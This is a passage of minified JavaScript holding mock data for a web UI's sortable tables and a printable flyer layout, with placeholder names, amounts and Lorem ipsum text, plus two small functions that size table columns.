Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],]};n.data={columns:[{type:"check",responsive:!1},{type:"sort",label:"Name",primary:!0},{type:"sort",label:"Size"},{type:"sort",label:"Type"},{type:"sort",label:"Last Updated",sorted:!0,order:1},{type:"sort",label:"Owner"}],rows:[[{type:"check",responsive:!1},{type:"data",content:"Lorem ipsum dolor sit amet",link:"#",primary:!0,filetype:"dir"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0,filetype:"doc"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0,filetype:"link"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0,filetype:"video"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0,filetype:"pres"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Laboris nisi ut aliquip ex ea commodo consequat",link:"#",primary:!0,filetype:"brainshark"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0,filetype:"pdf"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0,filetype:"data"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0,filetype:"dir"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliq",link:"#",primary:!0,filetype:"dir"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0,filetype:"dir"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}],[{type:"check",responsive:!1},{type:"data",content:"Laboris nisi ut aliquip ex ea commodo consequat",link:"#",primary:!0,filetype:"dir"},{type:"data",content:"128KB"},{type:"data",content:"MS Word"},{type:"data",content:"01/11/15",sorted:!0},{type:"data",content:"Rufus Vega",link:"#"}]]};n.data={columns:[{type:"check",responsive:!1},{type:"sort",label:"Name",primary:!0},{type:"sort",label:"Current Balance and this is a very long title",sorted:!0,order:1,total:{content:"1234.40",type:"currency"}},{type:"sort",label:"Available Balance",total:{content:"1234.40",type:"currency"}},{type:"sort",label:"Liquid Amount",total:{content:"1234.40",type:"currency"}},{type:"sort",label:"Expiring",date:"05/27/2016",total:{content:"1234.40",type:"currency"}}],rows:[[{type:"check",responsive:!1},{type:"data",content:"Lorem ipsum dolor sit amet",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"321"},{type:"currency",content:"456.12"},{type:"currency",content:"12.13"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0},{sorted:!0,type:"currency",content:"194.32"},{type:"currency",content:"1654"},{type:"currency",content:"5216.00"},{type:"currency",content:"8"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0},{sorted:!0,type:"currency",content:"45.2"},{type:"currency",content:"3265.1"},{type:"currency",content:"2349.23"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Laboris nisi ut aliquip ex ea commodo consequat",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliq",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Lorem ipsum dolor sit amet",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"321"},{type:"currency",content:"456.12"},{type:"currency",content:"12.13"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0},{sorted:!0,type:"currency",content:"194.32"},{type:"currency",content:"1654"},{type:"currency",content:"5216.00"},{type:"currency",content:"8"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0},{sorted:!0,type:"currency",content:"45.2"},{type:"currency",content:"3265.1"},{type:"currency",content:"2349.23"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Laboris nisi ut aliquip ex ea commodo consequat",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Consectetur adipiscing",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Elit sed do eiusmod tempor incididunt",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliqua",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut labore et dolore magna aliq",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}],[{type:"check",responsive:!1},{type:"data",content:"Ut enim ad minim veniam quis nostrud exercitation ullamco",link:"#",primary:!0},{sorted:!0,type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"},{type:"currency",content:"100"}]]};n.document={unit:"in",pages:[{width:"8.5",height:"11",scan:"../../../../../assets/img/sample/flyer-1.jpg",active_element:!1,elements:[{id:1,type:"text",style:{font:"Arial",size:32,color:"#fff",align:"center",width:.7,height:.1,top:.075,left:.15},settings:{editable:!0,min:0,max:100},content:{text:"<b>Lorem ipsum dolor sit amet<\/b>\nconsectetur adipisicing..."}},{id:2,type:"text",style:{font:"Arial",size:18,color:"#fff",align:"center",width:.4,height:.03,top:.699,left:.3},settings:{editable:!0,min:0,max:100},content:{text:"Lorem ipsum dolor sit amet"}},{id:3,type:"text",style:{font:"Arial",size:15,color:"#fff",align:"center",width:.4,height:.03,top:.736,left:.3},settings:{editable:!0,min:0,max:100},content:{text:"<i>Lorem ipsum dolor sit amet<\/i>"}},{id:4,type:"text",style:{font:"Arial",size:12,color:"#999",align:"left",width:.7,height:.08,top:.8,left:.15},settings:{editable:!0,min:0,max:100},content:{text:"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia..."}}]},{width:"8.5",height:"11",scan:"../../../../../assets/img/sample/flyer-2.jpg"},{width:"6",height:"4",scan:"../../../../../assets/img/sample/postcard-1.jpg"}]};n.table_sizes=function(){for(var s,e,r,u,i=n.data.columns,o=n.data.rows,f=[],t=0;t<i.length;t++)if(i[t].type=="check")f[t]="check";else{for(s=i[t].label.length,e=[],r=0;r<o.length;r++)e.push(o[r][t].content.length+(i[t].filetype?20:0));u=Math.max.apply(Math,e);u=Math.max(u,s);f[t]=u}return f};n.data.colsize=function(t){var i=n.data.columns,e=n.data.rows,o,f,r,u;if(size=null,i[t].type=="check")size="check";else{for(o=i[t].label.length+(i[t].date?i[t].date.length:0),f=[],r=0;r<e.length;r++)f.push(Number(e[r][t].content.length));u=Math.max.apply(Math,f);u=Math.max(u,o);size=u}return size=="check"?12:size*8+10}})